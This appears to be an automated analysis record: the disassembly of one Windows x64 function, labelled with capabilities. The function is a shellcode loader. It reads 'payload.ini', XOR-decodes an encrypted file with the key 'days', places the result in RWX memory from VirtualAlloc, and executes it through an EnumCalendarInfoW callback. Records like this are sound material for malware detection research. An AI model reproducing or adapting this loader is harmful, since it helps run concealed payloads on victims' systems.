Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2a8
lea rsi, [rsp + 0x50]
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], 0xb
mov qword [rsi + 0x18], 0xf
movabs rax, 0x2e64616f6c796170
mov qword [rsi], rax
mov dword [rsi + 7], 0x696e692e
mov dword [rsp + 0x20], 1
lea rdi, [rsp + 0x198]
mov rcx, rdi
mov rdx, rsi
mov r8d, 1
mov r9d, 0x40
call fcn.140002e70
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x1a8], 6
je 0x1400010bb
lea rcx, [0x1400325d0]
lea rdx, str.open_config_file_error:
call fcn.14000139b
mov r8, qword [rsp + 0x60]
cmp qword [rsp + 0x68], 0x10
jb 0x14000109e
mov rsi, qword [rsp + 0x50]
mov rcx, rax
mov rdx, rsi
call fcn.140004060
mov rcx, rax
call fcn.1400014ef
mov esi, 1
jmp 0x140001333
xorps xmm0, xmm0
lea rsi, [rsp + 0x30]
movaps xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
movsxd rax, dword [rax + 4]
lea rcx, [rsp + rax]
add rcx, 0x198
mov dl, 0xa
call fcn.140003226
lea rdi, [rsp + 0x198]
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
call fcn.14000422d
mov rcx, rdi
call fcn.140001524
cmp qword [rsi + 0x18], 0x10
jb 0x140001116
mov rsi, qword [rsp + 0x30]
mov dword [rsp + 0x20], 1
lea rdi, [rsp + 0x88]
mov rcx, rdi
mov rdx, rsi
mov r8d, 0x20
mov r9d, 0x40
call fcn.140002e70
mov rax, qword [rdi]
movsxd rax, dword [rax + 4]
test byte [rsp + rax + 0x98], 6
je 0x140001175
lea rcx, [0x1400325d0]
lea rdx, str.open_encrypted_file_error:
call fcn.14000139b
mov r8, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0x10
jb 0x1400011d1
mov rdx, qword [rsp + 0x30]
jmp 0x1400011d6
xor edi, edi
lea rsi, [rsp + 0x88]
mov rcx, rsi
xor edx, edx
mov r8d, 2
call fcn.14000156e
lea rbx, [rsp + 0x70]
mov rcx, rsi
mov rdx, rbx
call fcn.140001662
mov r15, qword [rbx + 8]
mov r14, qword [rbx]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.14000156e
add r14, r15
je 0x1400011f0
js 0x140001395
mov rcx, r14
cmp r14, 0x1000
jb 0x1400011f4
call fcn.140002950
jmp 0x1400011f9
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140004060
mov rcx, rax
call fcn.1400014ef
mov esi, 1
jmp 0x1400012e9
xor ebx, ebx
jmp 0x14000120d
call fcn.1400046d8
mov rdi, rax
lea rbx, [rax + r14]
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.1400221e0
lea rsi, [rsp + 0x88]
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.1400016ee
mov rcx, rsi
call fcn.140001524
test r14, r14
je 0x14000124c
xor eax, eax
lea rcx, str.days
mov edx, eax
and edx, 3
mov dl, byte [rdx + rcx]
xor byte [rdi + rax], dl
inc rax
cmp r14, rax
jne 0x140001239
mov rcx, r14
call fcn.140004750
mov r15, rax
sub rbx, rdi
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call fcn.140021b40
xor esi, esi
xor ecx, ecx
mov rdx, r14
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.140021b40
mov rcx, r12
mov edx, 0x400
mov r8d, 0xffffffff
mov r9d, 0x15
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, r15
call fcn.14000471c
test rdi, rdi
je 0x1400012e9
cmp rbx, 0x1000
jb 0x1400012de
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jae 0x140001390
add rbx, 0x27
mov rdi, rax
mov rcx, rdi
mov rdx, rbx
call fcn.14000471c
lea rcx, [rsp + 0x88]
call fcn.1400017a6
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x140001333
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000132e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001390
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14000471c
lea rcx, [rsp + 0x198]
call fcn.1400017a6
mov rax, qword [rsp + 0x68]
cmp rax, 0x10
jb 0x14000137d
mov rcx, qword [rsp + 0x50]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001378
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001390
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14000471c
mov eax, esi
add rsp, 0x2a8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.14000b7c4
call fcn.14000457a
int3